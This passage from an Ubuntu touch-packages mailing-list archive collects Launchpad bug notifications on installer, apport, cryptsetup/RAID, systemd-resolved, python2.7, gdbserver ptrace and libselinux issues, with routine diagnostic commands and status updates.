are: the _log_msg() functions is "void" typed, which means it returns whatever its last command returns; this function is the basic building block for all error/warning messages in initramfs-tools. In case a bad console was provided to kernel on command-line, printf (and apparently all write()-related functions) returns error, and so this error is carried over in _log_msg(). * Happens that checkfs() function has a loop that runs forever in this scenario (*if* fsck is not present in initramfs, and obviously if "quiet" is not provided in the command-line). The situation is easily reproducible. * This SRU proposes a pretty simple fix: return zero on _log_msg(). We should definitely not brake the boot due to error log functions. [Test Case] * To reproduce this, one must boot a system (virtual machine
[Touch-packages] [Bug 1871268] Re: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'
Just happened to me too. I was redirected here. I was clean installing Ubuntu 20.04.1 LTS on a new Samsung SSD M.2. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1871268 Title: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386' Status in Ubuntu CD Images: Fix Released Status in apt package in Ubuntu: New Status in glibc package in Ubuntu: Invalid Status in ubiquity package in Ubuntu: Invalid Status in apt source package in Bionic: Invalid Status in glibc source package in Bionic: Fix Released Status in ubiquity source package in Bionic: Invalid Status in apt source package in Focal: New Status in glibc source package in Focal: Invalid Status in ubiquity source package in Focal: Invalid Bug description: Test Case 1. Install Ubuntu Desktop on hardware with an nVidia card and select to install 3rd party drivers 2. Proceed with installation The following error message is displayed in /var/log/syslog /plugininstall.py: Verifying downloads ... /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/gcc_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxcrypt/libcrypt-dev_4.4.10-10ubuntu4_amd64.deb: "Version: '4.4.10-10ubuntu4' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/g++_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/z/zlib/zlib1g_1.2.11.dfsg-2ubuntu1_i386.deb: "Version: '1.2.11.dfsg-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxau/libxau6_1.0.9-0ubuntu1_i386.deb: "Version: '1.0.9-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdmcp/libxdmcp6_1.1.3-0ubuntu1_i386.deb: "Version: '1.1.3-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-6_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxext/libxext6_1.3.4-0ubuntu1_i386.deb: "Version: '1.3.4-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/l/lm-sensors/libsensors5_3.6.0-2ubuntu1_i386.deb: "Version: '3.6.0-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-xcb1_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdamage/libxdamage1_1.1.5-1_i386.deb: "Version: '1.1.5-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxfixes/libxfixes3_5.0.3-1_i386.deb: "Version: '5.0.3-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxxf86vm/libxxf86vm1_1.1.4-1build1_i386.deb: "Version: '1.1.4-1build1' not found." /plugininstall.py: Downloads verified successfully ubiquity: Error in function: install /plugininstall.py: Exception during installation: /plugininstall.py: apt_pkg.Error: E:Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2) /plugininstall.py: ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: ubiquity 20.04.9 ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27 Uname: Linux 5.4.0-21-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu22 Architecture: amd64 CasperVersion: 1.442 Date: Mon Apr 6 20:17:07 2020 InstallCmdLine: file=/cdrom/preseed/xubuntu.seed only-ubiquity initrd=/casper/initrd quiet splash --- LiveMediaBuild: Xubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402) ProcEnviron: LANGUAGE=es_EC.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_EC.UTF-8 LC_NUMERIC=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-cdimage/+bug/1871268/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1732962] Re: apport uses sys.argv instead of named arguments
Sponsored for bionic.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1732962
Title:
apport uses sys.argv instead of named arguments
Status in Apport:
Fix Committed
Status in apport package in Ubuntu:
Fix Released
Status in apport source package in Trusty:
Won't Fix
Status in apport source package in Xenial:
In Progress
Status in apport source package in Bionic:
In Progress
Status in apport source package in Cosmic:
Won't Fix
Status in apport source package in Disco:
Fix Released
Bug description:
SRU Description
[Impact]
data/apport which processes core files expects a certain quantity of
arguments in a specific order. This ended up causing an issue with some
security updates where we were trying to support a new version of apport on a
host system and one inside a container.
This SRU for xenial and bionic based on the work made in cosmic enabled
proper handling of named argument.
Note that this is disabled for now on ALL series
[Test Case]
No real test here since apport general behavior should be unchanged Just to
check that the feature is disable, /proc/sys/kernel/core_pattern
content should remain unchanged :
$> cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E
[Regression Potential]
The new feature is not enabled so the regression risk is fairly low. this
will take place in a future coordinated SRU across all LTS but in the meanwhile
we can make sure that there's no regression by running apport with various
End SRU Description
data/apport which processes core files expects a certain quantity of
arguments in a specific order. This ended up causing an issue with
some security updates where we were trying to support a new version of
apport on a host system and one inside a container. Here's something
of an example:
347 # Normal startup
348 if len(sys.argv) not in (5, 6):
349 try:
350 print('Usage: %s [global pid]' % sys.argv[0])
351 print('The core dump is read from stdin.')
We could not maintain backwards compatibility because "global pid" is
an optional argument and "dump mode" was a new argument. So if there
were five arguments its possible the last one was "dump mode" (no
global pid) or "global pid" (no support for dump mode).
Its possible to use strings in /proc/sys/kernel/core_pattern so we
could use those and have apport accept named arguments e.g:
$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport --pid=%p --signal=%s --core-size=%c --dump-mode=%d
--global-pid=%P
['/home/bdmurray/source-trees/apport/artful/data/apport', '--
pid=5870', '--signal=11', '--core-size=0', '--dump-mode=1', '--global-
pid=5870']
Tyler said "that's probably a nice cleanup to make no matter what
because the magic arg ordering is dangerous".
To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1732962/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1732962] Re: apport uses sys.argv instead of named arguments
Also sponsored for xenial.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1732962
Title:
apport uses sys.argv instead of named arguments
Status in Apport:
Fix Committed
Status in apport package in Ubuntu:
Fix Released
Status in apport source package in Trusty:
Won't Fix
Status in apport source package in Xenial:
In Progress
Status in apport source package in Bionic:
In Progress
Status in apport source package in Cosmic:
Won't Fix
Status in apport source package in Disco:
Fix Released
Bug description:
SRU Description
[Impact]
data/apport which processes core files expects a certain quantity of
arguments in a specific order. This ended up causing an issue with some
security updates where we were trying to support a new version of apport on a
host system and one inside a container.
This SRU for xenial and bionic based on the work made in cosmic enabled
proper handling of named argument.
Note that this is disabled for now on ALL series
[Test Case]
No real test here since apport general behavior should be unchanged Just to
check that the feature is disable, /proc/sys/kernel/core_pattern
content should remain unchanged :
$> cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E
[Regression Potential]
The new feature is not enabled so the regression risk is fairly low. this
will take place in a future coordinated SRU across all LTS but in the meanwhile
we can make sure that there's no regression by running apport with various
End SRU Description
data/apport which processes core files expects a certain quantity of
arguments in a specific order. This ended up causing an issue with
some security updates where we were trying to support a new version of
apport on a host system and one inside a container. Here's something
of an example:
347 # Normal startup
348 if len(sys.argv) not in (5, 6):
349 try:
350 print('Usage: %s [global pid]' % sys.argv[0])
351 print('The core dump is read from stdin.')
We could not maintain backwards compatibility because "global pid" is
an optional argument and "dump mode" was a new argument. So if there
were five arguments its possible the last one was "dump mode" (no
global pid) or "global pid" (no support for dump mode).
Its possible to use strings in /proc/sys/kernel/core_pattern so we
could use those and have apport accept named arguments e.g:
$ cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport --pid=%p --signal=%s --core-size=%c --dump-mode=%d
--global-pid=%P
['/home/bdmurray/source-trees/apport/artful/data/apport', '--
pid=5870', '--signal=11', '--core-size=0', '--dump-mode=1', '--global-
pid=5870']
Tyler said "that's probably a nice cleanup to make no matter what
because the magic arg ordering is dangerous".
To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1732962/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1879980] Re: Fail to boot with LUKS on top of RAID1 if the array is broken/degraded
Hi Łukasz, Thanks for accepting initramfs-tools for now; it's much appreciated. I'm not sure the security team reviewed this; but I can't confirm. I'll try to find a reviewer there, to check the concerns you have. Could you please confirm/correct/add the concerns/review points? 1) Behavior change in timeout waiting for crypto device to appear (180 secs to 5+30=35 secs) 2) Behavior change in how many times crypto passphrase is asked/fails before dropping to shell Thanks, Mauricio -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1879980 Title: Fail to boot with LUKS on top of RAID1 if the array is broken/degraded Status in cryptsetup package in Ubuntu: Fix Released Status in initramfs-tools package in Ubuntu: Fix Released Status in mdadm package in Ubuntu: Opinion Status in cryptsetup source package in Xenial: Won't Fix Status in initramfs-tools source package in Xenial: Won't Fix Status in mdadm source package in Xenial: Won't Fix Status in cryptsetup source package in Bionic: In Progress Status in initramfs-tools source package in Bionic: Fix Committed Status in mdadm source package in Bionic: Opinion Status in cryptsetup source package in Focal: In Progress Status in initramfs-tools source package in Focal: Fix Released Status in mdadm source package in Focal: Opinion Status in cryptsetup source package in Groovy: Fix Released Status in initramfs-tools source package in Groovy: Fix Released Status in mdadm source package in Groovy: Opinion Status in cryptsetup package in Debian: New Bug description: [Impact] * Considering a setup of a encrypted rootfs on top of md RAID1 device, Ubuntu is currently unable to decrypt the rootfs if the array gets degraded, like for example if one of the array's members gets removed. * The problem has 2 main aspects: first, cryptsetup initramfs script attempts to decrypt the array only in the local-top boot stage, and in case it fails, it gives-up and show user a shell (boot is aborted). * Second, mdadm initramfs script that assembles degraded arrays executes later on boot, in the local-block stage. So, in a stacked setup of encrypted root on top of RAID, if the RAID is degraded, cryptsetup fails early in the boot, preventing mdadm to assemble the degraded array. * The hereby proposed solution has 2 components: first, cryptsetup script is modified to allow a gentle failure on local-top stage, then it retries for a while (according to a heuristic based on ROOTDELAY with minimum of 30 executions) in a later stage (local-block). This gives time to other initramfs scripts to run, like mdadm in local- block stage. And this is meant to work this way according to initramfs-tools documentation (although Ubuntu changed it a bit with wait-for-root, hence we stopped looping on local-block, see next bullet). * Second, initramfs-tools was adjusted - currently, it runs for a while the mdadm local-block script, in order to assemble the arrays in a non-degraded mode. We extended this approach to also execute cryptsetup, in a way that after mdadm ends its execution, we execute at least once more time cryptsetup. In an ideal world we should loop on local-block as Debian's initramfs (in a way to remove hardcoded mdadm/cryptsetup mentions from initramfs-tools code), but this would be really a big change, non-SRUable probably. I plan to work that for future Ubuntu releases. [Test case] * Install Ubuntu in a Virtual Machine with 2 disks. Use the installer to create a RAID1 volume and an encrypted root on top of it. * Boot the VM, and use "sgdisk"/"wipefs" to erase the partition table from one of the RAID members. Reboot and it will fail to mount rootfs and continue boot process. * If using the initramfs-toos/cryptsetup patches hereby proposed, the rootfs can be mounted normally. [Regression potential] * There are potential for regressions, since this is a change in 2 boot components. The patches were designed in a way to keep the regular case working, it changes the failure case which is not currently working anyway. * A modification in the behavior of cryptsetup was introduced: right now, if we fail the password 3 times (the default maximum attempts), the script doesn't "panic" and drop to a shell immediately; instead it runs once more (or twice, if mdadm is installed) before failing. This is a minor change given the benefit of the being able to mount rootfs in a degraded RAID1 scenario. * Other potential regressions could show-up as boot problems, but the change in initramfs-tools specifically is not invasive, it just may delay boot time a bit, given we now run cryptsetup multiple times on local-block, with 1 sec delays between executions. To manage notifications about this bug go to: https://bugs.launchpad.net/
[Touch-packages] [Bug 1896772] Re: systemd-resolved configures no Current Scopes on start
The latest upload (246.6-1ubuntu1) may have fixed this as well. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1896772 Title: systemd-resolved configures no Current Scopes on start Status in systemd package in Ubuntu: Incomplete Bug description: Running groovy on the desktop, with the systemd packages that migrated today(/overnight EDT). # Steps to reproduce: 1) `systemctl restart systemd-resolved.service` (This is a minimal reproducer, but I first saw this after an apt upgrade of systemd.) # Expected behaviour: DNS continues to work, status looks like this: Link 2 (enp5s0) Current Scopes: DNS DefaultRoute setting: yes LLMNR setting: yes MulticastDNS setting: no DNSOverTLS setting: no DNSSEC setting: no DNSSEC supported: no Current DNS Server: 192.168.1.1 DNS Servers: 192.168.1.1 DNS Domain: ~. lan # Actual behaviour: DNS is unconfigured: Link 2 (enp5s0) Current Scopes: none DefaultRoute setting: no LLMNR setting: yes MulticastDNS setting: no DNSOverTLS setting: no DNSSEC setting: no DNSSEC supported: no # Workaround Disconnecting and reconnecting my network connection restored DNS functionality. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: systemd 246.5-1ubuntu1 ProcVersionSignature: Ubuntu 5.8.0-18.19-generic 5.8.4 Uname: Linux 5.8.0-18-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu45 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: i3 CurrentDmesg: Error: command ['dmesg'] failed with exit code 1: dmesg: read kernel buffer failed: Operation not permitted Date: Wed Sep 23 09:05:42 2020 InstallationDate: Installed on 2019-05-07 (504 days ago) InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 (20190210) MachineType: Gigabyte Technology Co., Ltd. B450M DS3H ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.8.0-18-generic root=/dev/mapper/ubuntu--vg-root ro quiet splash resume=UUID=73909634-a75d-42c9-8f66-a69138690756 pcie_aspm=off vt.handoff=7 RebootRequiredPkgs: gnome-shell SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/rc-local.service → /lib/systemd/system/rc-local.service.d/debian.conf [EXTENDED] /lib/systemd/system/user@.service → /lib/systemd/system/user@.service.d/timeout.conf 2 overridden configuration files found. SystemdFailedUnits: Error: command ['systemctl', 'status', '--full', '●'] failed with exit code 4: Invalid unit name "●" escaped as "\xe2\x97\x8f" (maybe you should use systemd-escape?). Unit \xe2\x97\x8f.service could not be found. -- Error: command ['systemctl', 'status', '--full', '●'] failed with exit code 4: Invalid unit name "●" escaped as "\xe2\x97\x8f" (maybe you should use systemd-escape?). Unit \xe2\x97\x8f.service could not be found. UpgradeStatus: Upgraded to groovy on 2020-06-22 (92 days ago) dmi.bios.date: 01/25/2019 dmi.bios.release: 5.13 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F4 dmi.board.asset.tag: Default string dmi.board.name: B450M DS3H-CF dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF4:bd01/25/2019:br5.13:svnGigabyteTechnologyCo.,Ltd.:pnB450MDS3H:pvrDefaultstring:rvnGigabyteTechnologyCo.,Ltd.:rnB450MDS3H-CF:rvrx.x:cvnDefaultstring:ct3:cvrDefaultstring: dmi.product.family: Default string dmi.product.name: B450M DS3H dmi.product.sku: Default string dmi.product.version: Default string dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1896772/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1890272] Autopkgtest regression report (python2.7/2.7.18-1~20.04)
All autopkgtests for the newly accepted python2.7 (2.7.18-1~20.04) for focal have finished running. The following regressions have been reported in tests triggered by the package: mercurial/5.3.1-1ubuntu1 (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/focal/update_excuses.html#python2.7 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python2.7 in Ubuntu. https://bugs.launchpad.net/bugs/1890272 Title: SRU: Update to the final python 2.7.18 release Status in python2.7 package in Ubuntu: New Status in python2.7 source package in Focal: Fix Committed Bug description: Ubuntu 20.04 LTS shipped with the python 2.7.18 release candidate. Please let's update to the final release. Upstream changes are: - Documentation changes - Identify as 2.7.18 instead of 2.7.18rc1 Acceptance criteria: The package builds, and the testsuite doesn't show regressions. The package was also part of an archive test rebuild (main), and didn't show any regressions. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python2.7/+bug/1890272/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1897187] [NEW] Unable to ptrace(PTRACE_TRACEME) without sudo
Public bug reported: The call to ptrace(PTRACE_TRACEME) fails in gdbserver in spite of ptrace_scope being 0. As a result gdbserver hangs and is impossible to use. When run with sudo it works fine. This seems to be a kernel bug. # which gdbserver /usr/bin/gdbserver # cat /proc/sys/kernel/yama/ptrace_scope 0 # gdbserver :9091 /bin/true # sudo gdbserver :9091 /bin/true Process /bin/true created; pid = 31071 Listening on port 9091 # strace -f gdbserver :9091 /bin/true ... ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted) ... # getcap /usr/bin/gdbserver Adding "setcap cap_sys_ptrace=+eip" to gdbserver doesn't change anything. Further details: # lsb_release -rd Description:Ubuntu 18.04.5 LTS Release:18.04 # apt-cache policy linux-generic linux-generic: Installed: 4.15.0.118.105 Candidate: 4.15.0.118.105 Version table: *** 4.15.0.118.105 500 500 http://aptrepo/ubuntu bionic-updates/main amd64 Packages 500 http://aptrepo/ubuntu bionic-security/main amd64 Packages 100 /var/lib/dpkg/status 4.15.0.20.23 500 500 http://aptrepo/ubuntu bionic/main amd64 Package ** Affects: gdb (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gdb in Ubuntu. https://bugs.launchpad.net/bugs/1897187 Title: Unable to ptrace(PTRACE_TRACEME) without sudo Status in gdb package in Ubuntu: New Bug description: The call to ptrace(PTRACE_TRACEME) fails in gdbserver in spite of ptrace_scope being 0. As a result gdbserver hangs and is impossible to use. When run with sudo it works fine. This seems to be a kernel bug. # which gdbserver /usr/bin/gdbserver # cat /proc/sys/kernel/yama/ptrace_scope 0 # gdbserver :9091 /bin/true # sudo gdbserver :9091 /bin/true Process /bin/true created; pid = 31071 Listening on port 9091 # strace -f gdbserver :9091 /bin/true ... ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted) ... # getcap /usr/bin/gdbserver Adding "setcap cap_sys_ptrace=+eip" to gdbserver doesn't change anything. Further details: # lsb_release -rd Description:Ubuntu 18.04.5 LTS Release:18.04 # apt-cache policy linux-generic linux-generic: Installed: 4.15.0.118.105 Candidate: 4.15.0.118.105 Version table: *** 4.15.0.118.105 500 500 http://aptrepo/ubuntu bionic-updates/main amd64 Packages 500 http://aptrepo/ubuntu bionic-security/main amd64 Packages 100 /var/lib/dpkg/status 4.15.0.20.23 500 500 http://aptrepo/ubuntu bionic/main amd64 Package To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdb/+bug/1897187/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1892455] Re: [MIR] libselinux1
Oops, I thought it was in universe. This is not required then. ** Changed in: libselinux (Ubuntu) Status: Incomplete => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libselinux in Ubuntu. https://bugs.launchpad.net/bugs/1892455 Title: [MIR] libselinux1 Status in libselinux package in Ubuntu: Invalid Bug description: Many applications have Flatpak integration using libflatpak. The Ubuntu desktop team would like libflatpak in main so we can easily build such applications (LP: #1812456). libselinux is a dependency of this, so it would also need to be in main. We don't need SELinux functionality, and do not expect any other SELinux packages to be installed by default. Availability In Universe, builds for all architectures and in sync with Debian. Rationale = Required for libostree-1-1 being in main (LP: #1892454) Security This will need a Security review. Quality Assurance = Should be subscribed to by Ubuntu Desktop Bugs. Contains a single .so and doesn't have any debconf prompts. Package is maintained in Debian. No major bugs in Debian or Ubuntu. UI Standards N/A Dependencies All in main. Standards Compliance Package uses standards version 4.5.0. Maintenance === Actively developed upstream https://github.com/SELinuxProject/selinux. Packages actively maintained in Debian. Security Checks === 41 CVEs found in http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=selinux, but they seem to relate to actual SELinux functionality, not issues in libselinux. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libselinux/+bug/1892455/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1871268] Re: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: apt (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1871268 Title: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386' Status in Ubuntu CD Images: Fix Released Status in apt package in Ubuntu: Confirmed Status in glibc package in Ubuntu: Invalid Status in ubiquity package in Ubuntu: Invalid Status in apt source package in Bionic: Invalid Status in glibc source package in Bionic: Fix Released Status in ubiquity source package in Bionic: Invalid Status in apt source package in Focal: Confirmed Status in glibc source package in Focal: Invalid Status in ubiquity source package in Focal: Invalid Bug description: Test Case 1. Install Ubuntu Desktop on hardware with an nVidia card and select to install 3rd party drivers 2. Proceed with installation The following error message is displayed in /var/log/syslog /plugininstall.py: Verifying downloads ... /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/gcc_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxcrypt/libcrypt-dev_4.4.10-10ubuntu4_amd64.deb: "Version: '4.4.10-10ubuntu4' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/g++_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/z/zlib/zlib1g_1.2.11.dfsg-2ubuntu1_i386.deb: "Version: '1.2.11.dfsg-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxau/libxau6_1.0.9-0ubuntu1_i386.deb: "Version: '1.0.9-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdmcp/libxdmcp6_1.1.3-0ubuntu1_i386.deb: "Version: '1.1.3-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-6_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxext/libxext6_1.3.4-0ubuntu1_i386.deb: "Version: '1.3.4-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/l/lm-sensors/libsensors5_3.6.0-2ubuntu1_i386.deb: "Version: '3.6.0-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-xcb1_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdamage/libxdamage1_1.1.5-1_i386.deb: "Version: '1.1.5-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxfixes/libxfixes3_5.0.3-1_i386.deb: "Version: '5.0.3-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxxf86vm/libxxf86vm1_1.1.4-1build1_i386.deb: "Version: '1.1.4-1build1' not found." /plugininstall.py: Downloads verified successfully ubiquity: Error in function: install /plugininstall.py: Exception during installation: /plugininstall.py: apt_pkg.Error: E:Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2) /plugininstall.py: ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: ubiquity 20.04.9 ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27 Uname: Linux 5.4.0-21-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu22 Architecture: amd64 CasperVersion: 1.442 Date: Mon Apr 6 20:17:07 2020 InstallCmdLine: file=/cdrom/preseed/xubuntu.seed only-ubiquity initrd=/casper/initrd quiet splash --- LiveMediaBuild: Xubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402) ProcEnviron: LANGUAGE=es_EC.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_EC.UTF-8 LC_NUMERIC=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-cdimage/+bug/1871268/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1871268] Re: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: apt (Ubuntu Focal) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1871268 Title: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386' Status in Ubuntu CD Images: Fix Released Status in apt package in Ubuntu: Confirmed Status in glibc package in Ubuntu: Invalid Status in ubiquity package in Ubuntu: Invalid Status in apt source package in Bionic: Invalid Status in glibc source package in Bionic: Fix Released Status in ubiquity source package in Bionic: Invalid Status in apt source package in Focal: Confirmed Status in glibc source package in Focal: Invalid Status in ubiquity source package in Focal: Invalid Bug description: Test Case 1. Install Ubuntu Desktop on hardware with an nVidia card and select to install 3rd party drivers 2. Proceed with installation The following error message is displayed in /var/log/syslog /plugininstall.py: Verifying downloads ... /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/gcc_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxcrypt/libcrypt-dev_4.4.10-10ubuntu4_amd64.deb: "Version: '4.4.10-10ubuntu4' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/g++_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/z/zlib/zlib1g_1.2.11.dfsg-2ubuntu1_i386.deb: "Version: '1.2.11.dfsg-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxau/libxau6_1.0.9-0ubuntu1_i386.deb: "Version: '1.0.9-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdmcp/libxdmcp6_1.1.3-0ubuntu1_i386.deb: "Version: '1.1.3-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-6_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." 